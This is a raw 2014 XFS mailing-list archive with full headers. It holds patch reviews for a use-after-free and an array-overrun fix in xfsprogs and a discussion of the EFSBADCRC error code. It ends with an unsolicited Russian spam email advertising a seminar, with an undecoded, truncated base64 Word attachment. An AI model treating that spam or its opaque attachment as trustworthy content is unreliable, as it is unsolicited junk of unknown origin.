(ip->i_itemp) - kmem_zone_free(xfs_ili_zone, ip->i_itemp); - else - ASSERT(0); - ip->i_itemp = NULL; + /* free the inode */ + libxfs_iput(ip, 0); } static void From david@fromorbit.com Mon Mar 3 17:14:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4BD7A7F62 for ; Mon, 3 Mar 2014 17:14:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B92C7AC004 for ; Mon, 3 Mar 2014 15:14:06 -0800 (PST) X-ASG-Debug-ID: 1393888441-04cb6c56771ffa80001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HmiJjnPKBNgmO6CS for ; Mon, 03 Mar 2014 15:14:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao5uALwLFVN5LJYePGdsb2JhbABagwaDQ4UMs0mFWYEeFwMBAQEBHxkNKIIlAQEFJxMcIxAIAxgJJQ8FJQMHGhOHeMxiFxaOQweEOAEDmDuKVYsYKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 09:39:34 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKbzI-00053H-QD; Tue, 04 Mar 2014 10:09:32 +1100 Date: Tue, 4 Mar 2014 10:09:32 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfsprogs: fix use after free in inode_item_done() Message-ID: <20140303230932.GO13647@dastard> X-ASG-Orig-Subj: Re: [PATCH V2] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> <53150924.2000208@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53150924.2000208@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393888441 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145711 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, Mar 03, 2014 at 04:58:44PM -0600, Eric Sandeen wrote: > Commit "3a19fb7 libxfs: stop caching inode structures" > introduced a use after free. > > libxfs_iput() already does the check for ip->i_itemp, and a > kmem_zone_free() if it's present, and then frees the ip pointer. > Re-checking ip->i_itemp after the libxfs_iput call will access > the freed ip pointer, as will setting ip_>i_itemp to NULL. > > Simply remove the offending code to fix this up. > > Signed-off-by: Eric Sandeen > --- > > V2: Make it prettier based on Dave's comments. looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 3 17:15:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 032167F69 for ; Mon, 3 Mar 2014 17:15:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E23738F804C for ; Mon, 3 Mar 2014 15:15:03 -0800 (PST) X-ASG-Debug-ID: 1393888501-04cb6c56781ffb40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id JZMghnmzGOY9Mz6z for ; Mon, 03 Mar 2014 15:15:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao1uALwLFVN5LJYePGdsb2JhbABagwaDQ4UMs0mFWYEeFwMBAQEBHxkNKIIlAQEFOhwjEAgDGAklDwUlAwcaE4d4zGIXFo5DB4Q4BJg7ilWLGCg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 09:40:48 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKc0J-00053U-KE; Tue, 04 Mar 2014 10:10:35 +1100 Date: Tue, 4 Mar 2014 10:10:35 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_repair: fix array overrun in do_inode_prefetch Message-ID: <20140303231035.GP13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: fix array overrun in do_inode_prefetch References: <5314D476.7030503@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5314D476.7030503@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393888501 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145711 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 03, 2014 at 01:13:58PM -0600, Eric Sandeen wrote: > Coverity spotted this: > > do_inode_prefetch() does a while loop, creating queues: > > for (i = 0; i < thread_count; i++) { > ... > create_work_queue(&queues[i], mp, 1); > ... > } > > and then does this to wait for them all to complete: > > for (; i >= 0; i--) > destroy_work_queue(&queues[i]); > > But we leave the first for loop with (i == thread_coun)t, and > the second one will try to index queues[] one past the end. ugh. My fault. Fix looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Mon Mar 3 19:21:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 36A757F4E for ; Mon, 3 Mar 2014 19:21:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 99F77AC004 for ; Mon, 3 Mar 2014 17:21:06 -0800 (PST) X-ASG-Debug-ID: 1393896062-04cbb054b716e70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZOip1dTOhMzFZcri for ; Mon, 03 Mar 2014 17:21:02 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s241L0QJ004460 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Mar 2014 20:21:00 -0500 Received: from laptop.bfoster (vpn-50-144.rdu2.redhat.com [10.10.50.144]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s241Kxfm016981; Mon, 3 Mar 2014 20:20:59 -0500 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 585D71210DA; Mon, 3 Mar 2014 20:20:59 -0500 (EST) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s241Kwvs030885; Mon, 3 Mar 2014 20:20:58 -0500 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Mon, 3 Mar 2014 20:20:57 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140304012056.GA29755@laptop.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <20140303174425.GB28196@laptop.bfoster> <20140303222946.GJ13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140303222946.GJ13647@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393896062 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Mar 04, 2014 at 09:29:46AM +1100, Dave Chinner wrote: > On Mon, Mar 03, 2014 at 12:44:26PM -0500, Brian Foster wrote: > > On Mon, Mar 03, 2014 at 04:39:53PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > > > a bad CRC, we need to translate that to EFSCORRUPTED so that the > > > higher layers treat the error appropriately and so we return a > > > consistent error to userspace. This fixes a xfs/005 regression. > > > > > > Signed-off-by: Dave Chinner > > > --- > > > > This change looks Ok to me, but when I start looking through the users > > of bp->b_error, I see examples like xfs_dir3_data_read() being called in > > xfs_dir2_leaf_addname() where it looks like an error could bubble all > > the way up to xfs_vn_mknod() and its callers. > > Sure, but: > > xfs_dir3_data_read > xfs_da_read_buf > xfs_trans_read_buf_map > > Which means the patch prevents the EFSBADCRC leaking back out > through that path because it converts it in xfs_trans_read_buf_map. > Ok, I see. FWIW, I was also trolling through some of the log recovery code and it appears that code uses b_ops for write verification purposes only (i.e., crc generation I suspect), correct? > > If the intent is to use EFSBADCRC as an internal-only error to > > differentiate corruption from crc failure, why not push this more > > closely to the boundaries that we have already defined? For example, we > > already convert positive errnos to negative at the internal/external > > boundaries. Could we convert those to use some kind of > > XFS_USERSPACE_ERROR(error) macro/helper that converts errors > > appropriately? > > That doesn't solve the problem needing an error conversion layer in > the first place. The long term goal is to remove the error > conversions in XFS by converting the core code to the same error > passing conventions as the rest of the kernel code. We manage to > screw the negation up fairly regularly because it is convoluted and > we cal into generic code that returns negative errors from the core > that returns positive errors in lots of places. The conversion > surface is just too large to manage sanely. > Well it wasn't clear that the error conversion layer was a problem that itself needed solving, but fair enough. ;) If the objective is to move away from the positive/negative business to something more "kernel native," then building more infrastructure around that is probably not the way to go, unless that was actually part of the changeover strategy (e.g., if we happened to use something that conditionally negated error values to support incremental codepath conversions... as a semi-random thought). > > Another thought could be to reconsider whether we still need some of > > these extra warnings, as in the xfs_mount.c hunk below, now that we have > > the generic xfs_verifier_error() messaging. E.g., if we could remove > > those, perhaps we could snub out EFSBADCRC in or around the verifier > > after it makes a distinction. > > Redundant errors aren't s significant problem. It's the lack of > meaningful error messages that are much more of an issue. We get > more meaningful error messages as a result of the EFSBADCRC changes > that have been made, but for the moment that error simply means > EFSCORRUPTED to the higher layers. Hence the translation back to > EFSCORRUPTED at the (low) layers where the error no longer has > a distinct meaning. > Right, the purpose is not to solve the problem of redundant errors. Rather, if the only thing preventing the consolidation of the EFSBADCRC trap to a single hunk are redundant errors, then it wouldn't be a problem to remove those errors and push the EFSBADCRC trap into the generic code for the purpose of clarity. Brian > As we add more functionality, EFSBADCRC will become more meaningful > and so get propagated higher into the kernel code. But for now, it > should remain an error that doesn't escape the lower layers... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com From mnardarinkamar@karlie.com Mon Mar 3 19:41:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE9FC7F4E for ; Mon, 3 Mar 2014 19:41:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6E790304032 for ; Mon, 3 Mar 2014 17:41:28 -0800 (PST) X-ASG-Debug-ID: 1393897285-04bdf05dac222460001-NocioJ Received: from hostforever.ru (hostforever.ru [195.211.103.205]) by cuda.sgi.com with ESMTP id ezMYRfXGJ4nrOMMt for ; Mon, 03 Mar 2014 17:41:25 -0800 (PST) X-Barracuda-Envelope-From: mnardarinkamar@karlie.com X-Barracuda-Apparent-Source-IP: 195.211.103.205 Received: from localhost (localhost [127.0.0.1]) by hostforever.ru (Postfix) with ESMTP id 6BE1B1D440E; Tue, 4 Mar 2014 05:41:29 +0400 (MSK) X-Virus-Scanned: Debian amavisd-new at mail.hostforever.ru Received: from hostforever.ru ([127.0.0.1]) by localhost (mail.ligrserv.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id orQVmS03pHH7; Tue, 4 Mar 2014 05:41:29 +0400 (MSK) Received: from 50-57-55-128.static.cloud-ips.com (unknown [50.57.55.128]) (Authenticated sender: info@shahovskoe.ru) by hostforever.ru (Postfix) with ESMTPA id C68DF1D440F; Tue, 4 Mar 2014 05:41:26 +0400 (MSK) Message-ID: <15125E858CEC4B96B21836715F69C3C9@mbmcfv> Reply-To: =?windows-1251?B?0Ojx6i3s5e3l5Obl8A==?= From: =?windows-1251?B?0Ojx6i3s5e3l5Obl8A==?= To: , , , Subject: =?windows-1251?B?x+Dw5ePo8fLw6PDu4uDt7fvpIO3gIOru7fLu?= =?windows-1251?B?8OUg4OLy7vLw4O3x7+7w8g==?= Date: Tue, 4 Mar 2014 02:41:29 +0100 X-ASG-Orig-Subj: =?windows-1251?B?x+Dw5ePo8fLw6PDu4uDt7fvpIO3gIOru7fLu?= =?windows-1251?B?8OUg4OLy7vLw4O3x7+7w8g==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1A22_01CF3753.3EDBF710" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: hostforever.ru[195.211.103.205] X-Barracuda-Start-Time: 1393897285 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145719 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=_NextPart_000_1A22_01CF3753.3EDBF710 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D1=EF=E5=F6=E8=E0=EB=FC=ED=EE =E4=EB=FF =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5= =EB=E5=E9 =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=E9 =E8 =F1=EE=F2=F0=F3=E4=ED=E8=EA= =EE=E2 =F1=EB=F3=E6=E1 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8: =C4=E5=EB=EE=E2=E0=FF =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=E0=FF =F0=E0=E7= =E2=E5=E4=EA=E0.=20 =D1=EE=E2=F0=E5=EC=E5=ED=ED=FB=E5 =F2=E5=F5=ED=EE=EB=EE=E3=E8=E8 =E8 =EF= =EE=E4=F5=EE=E4=FB. =D1=C0=CD=CA=D2-=CF=C5=D2=C5=D0=C1=D3=D0=C3, 11, 12 =CC=C0=D0=D2=C0 =C7a=ED=FF=F2=E8=FF =EF=F0o=E9=E4y=F2 =E2 =F2=E5=F7=E5=ED=E8=E5 =E4=E2y= x =E4=EDe=E9 c 10:00 =E4o 17:00 c =EFe=F0e=F0=FB=E2a=EC=E8 =EDa =EAo=F4e-= =E1=F0e=E9=EA =E8 o=E1e=E4. =C4=EB=FF =EFo=EBy=F7e=ED=E8=FF =EFo=EB=EDo=E9 =EF=F0o=E3=F0a=EC=EC=FB = =E8 yc=EBo=E2=E8=E9 y=F7ac=F2=E8=FF c=E2=FF=E6=E8=F2ec=FC c =EDa=EC=E8 =EF= o =F2e=EBe=F4o=EDy: 8 =EA=EE=E4_=D1=CF=E1 64--2 - 5--8 -- =E7= I =D2=E5=EC=E0=F2=E8=EA=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF: =CC=E5=F1=F2=EE =E4=E5=EB=EE=E2=EE=E9 =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED= =EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8 =E2 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E8 =FD= =EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8= =E1=E8=E7=ED=E5=F1=E0.=20 =CA=EE=ED=EA=F3=F0=E5=ED=F6=E8=FF =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=E0= =FF =F0=E0=E7=E2=E5=E4=EA=E0. =D0=EE=EB=FC =E1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E8 =E2 =EF=F0=E8=ED= =FF=F2=E8=E8 =F3=EF=F0=E0=E2=EB=E5=ED=F7=E5=F1=EA=EE=E3=EE =F0=E5=F8=E5=ED= =E8=FF. =C1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E0 =E8 =E1=E5=E7=EE=EF=E0=F1=ED= =EE=F1=F2=FC =E1=E8=E7=ED=E5=F1=E0. =CE=F1=ED=EE=E2=ED=FB=E5 =ED=E0=EF=F0=E0=E2=EB=E5=ED=E8=FF =E2=E5=E4=E5= =ED=E8=FF =E4=E5=EB=EE=E2=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8. =D7=E5=EB=EE=E2=E5=F7=E5=F1=EA=E8=E9 =F4=E0=EA=F2=EE=F0 =E2 =E4=E5=EB=EE= =E2=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E5. =CE=E1=F9=E8=E5 =EF=EE=EB=EE=E6=E5=ED=E8=FF =EF=EE =E8=ED=F4=EE=F0=EC=E0= =F6=E8=EE=ED=ED=EE=E9 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8. =CF=F0=E0=E2=EE=E2=FB=E5 =EE=F1=ED=EE=E2=FB =E7=E0=F9=E8=F2=FB =EA=EE=ED= =F4=E8=E4=E5=ED=F6=E8=E0=EB=FC=ED=EE=E9 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8. =CF=F0=EE=EC=FB=F8=EB=E5=ED=ED=E0=FF =EA=EE=ED=F2=F0=F0=E0=E7=E2=E5=E4=EA= =E0.=20 =CE=F0=E3=E0=ED=E8=E7=E0=F6=E8=FF =F1=EB=F3=E6=E1=FB =E1=E8=E7=ED=E5=F1= -=F0=E0=E7=E2=E5=E4=EA=E8. =20 =C0=EF=EF=E0=F0=E0=F2=ED=FB=E5 =E8 =EF=F0=EE=E3=F0=E0=EC=EC=ED=FB=E5 =F1= =F0=E5=E4=F1=F2=E2=E0 =E7=E0=F9=E8=F2=FB. ------=_NextPart_000_1A22_01CF3753.3EDBF710 Content-Type: application/msword; name="=?windows-1251?B?4O3g6+jy6Pfl8erg/yDw4Ofi5eTq4C5kb2M=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?4O3g6+jy6Pfl8erg/yDw4Ofi5eTq4C5kb2M=?=" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAYAAAAAAAAAAA EAAAYgAAAAEAAAD+////AAAAAF8AAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAX8AZBAAA8BK/AAAAAAAAEAAAAAAACAAAuCAAAA4AYmpiagAVABUAAAAAAAAAAAAAAAAAAAAA AAAZBBYA7V0AAGJ/AABifwAAWwoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAK4GAAAAAAAArgYAACcU AAAAAAAAJxQAAAAAAAAnFAAAAAAAACcUAAAAAAAAJxQAABQAAAAAAAAAAAAAAP////8AAAAAOxQA AAAAAAA7FAAAAAAAADsUAAAAAAAAOxQAABQAAABPFAAAFAAAADsUAAAAAAAA+jkAAOQBAABjFAAA AAAAAGMUAAAAAAAAYxQAAAAAAABjFAAAAAAAAGMUAAAAAAAAcBYAAAAAAABwFgAAAAAAAHAWAAAA AAAAbTkAAAIAAABvOQAAAAAAAG85AAAAAAAAbzkAAAAAAABvOQAAAAAAAG85AAAAAAAAbzkAACQA AADeOwAAsgIAAJA+AAA+AAAAkzkAACEAAAAAAAAAAAAAAAAAAAAAAAAAJxQAAAAAAABwFgAAAAAA AAAAAAAAAAAAAAAAAAAAAABOFgAAIgAAAHAWAAAAAAAAcBYAAAAAAABwFgAAAAAAAJM5AAAAAAAA AAAAAAAAAAAnFAAAAAAAACcUAAAAAAAAYxQAAAAAAAAAAAAAAAAAAGMUAADrAQAAtDkAABYAAAAM FwAAAAAAAAwXAAAAAAAADBcAAAAAAABwFgAAOgAAACcUAAAAAAAAYxQAAAAAAAAnFAAAAAAAAGMU AAAAAAAAbTkAAAAAAAAAAAAAAAAAAAwXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAcBYAAAAAAABtOQAAAAAAAAAAAAAAAAAADBcAAAAAAAAMFwAA qgAAAOElAAB8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEScAAAAAAABjFAAAAAAAAP////8AAAAAwH+mrhI3 zwEAAAAAAAAAAP////8AAAAAqhYAACIAAABdJgAAEgAAAAAAAAAAAAAAWTkAABQAAADKOQAAMAAA APo5AAAAAAAAbyYAAKIAAADOPgAAAAAAAMwWAABAAAAAzj4AACQAAAARJwAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAR JwAAcBAAAM4+AAAAAAAAAAAAAAAAAAAnFAAAAAAAAIE3AADYAQAAcBYAAAAAAABwFgAAAAAAAAwX AAAAAAAAcBYAAAAAAABwFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcBYA AAAAAABwFgAAAAAAAHAWAAAAAAAAkzkAAAAAAACTOQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAADBcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAWAAAA AAAAcBYAAAAAAABwFgAAAAAAAPo5AAAAAAAAcBYAAAAAAABwFgAAAAAAAHAWAAAAAAAAcBYAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAM4+AAAAAAAAcBYAAAAAAABw FgAAAAAAAHAWAAAAAAAAcBYAAAAAAABwFgAAAAAAAHAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwFgAAAAAAAHAWAAAAAAAAcBYA AAAAAACuBgAAPwwAAO0SAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0ENQRB BDwEPgRCBEAETwQgAD0EMAQgAEIEPgQsACAARwRCBD4EIAA/BD4EPQRPBEIEOAQ1BCAAIgARBDgE NwQ9BDUEQQQtAEAEMAQ3BDIENQQ0BDoEMAQiACAAKAA4BDsEOAQgACIAGgQ+BD0EOgRDBEAENQQ9 BEIEPQQwBE8EIABABDAENwQyBDUENAQ6BDAEIgApACAAMARBBEEEPgRGBDgEOARABEMENQRCBEEE TwQgAEMEIABDBEcEMARBBEIEPQQ4BDoEPgQyBCAAQARLBD0EOgQwBCAAQQQgAE0EOgQ+BD0EPgQ8 BDgERwQ1BEEEOgQ4BDwEIABIBD8EOAQ+BD0EMAQ2BDUEPAQsACAACABDBEEEPwQ1BEUEIAA0BDUE PwQ1BDsEPgQ/BDUEQARBBDoEPgQzBD4EIAA4BCAAQQQ+BD8EQAQ1BDQENQQ7BEwEPQRLBEUEIAAx BDgENwQ9BDUEQQQ+BDIEIAA9BDAEIAA4ADAALQA5ADAAJQAgADcEMAQyBDgEQQQ4BEIEIAA4BDwE NQQ9BD0EPgQgAD4EQgQgADMEQAQwBDwEPgRCBD0EPgQ5BCAAQAQwBDEEPgRCBEsEIABBBDsEQwQ2 BDEESwQgADEEOAQ3BD0ENQRBBC0AQAQwBDcEMgQ1BDQEOgQ4BC4AIAAfBEAEOAQgAE0EQgQ+BDwE IAA3BDAEQgRABDAEQgRLBCAAPQQwBCAAPQQ1BDUEIABBBD4EQQRCBDAEMgQ7BE8ETgRCBCAANAQ+ BCAANQAlACAAPgRCBCAAPwRABDgEMQRLBDsEOAQgADoEPgQ8BD8EMAQ9BDgEOAQuAA0ADQARBDgE NwQ9BDUEQQQtAEAEMAQ3BDIENQQ0BDoEMAQgADIEIAA0BDUEMgQ1BDsEPgQ/BDwENQQ9BEIENQQg AC0AIABNBEIEPgQgAD0ENQQ+BEIESgQ1BDwEOwQ1BDwEMARPBCAARwQwBEEEQgRMBCAAPgQxBDUE QQQ/BDUERwQ1BD0EOARPBCAAMQQ1BDcEPgQ/BDAEQQQ9BD4EQQRCBDgEIAAxBDgENwQ9BDUEQQQw BDoAIAAyBCAAMQQ+BDsETARIBDgERQQgADoEPgQ8BD8EMAQ9BDgETwRFBCAAPAQ+BDMEQwRCBCAA QQQ+BDcENAQwBDIEMARCBEwEQQRPBCAANAQwBDYENQQgAEEEMAQ8BD4EQQRCBD4ETwRCBDUEOwRM BD0ESwQ1BCAAPwQ+BDQEQAQwBDcENAQ1BDsENQQ9BDgETwQsACAAOgQ+BEIEPgRABEsENQQgADAE 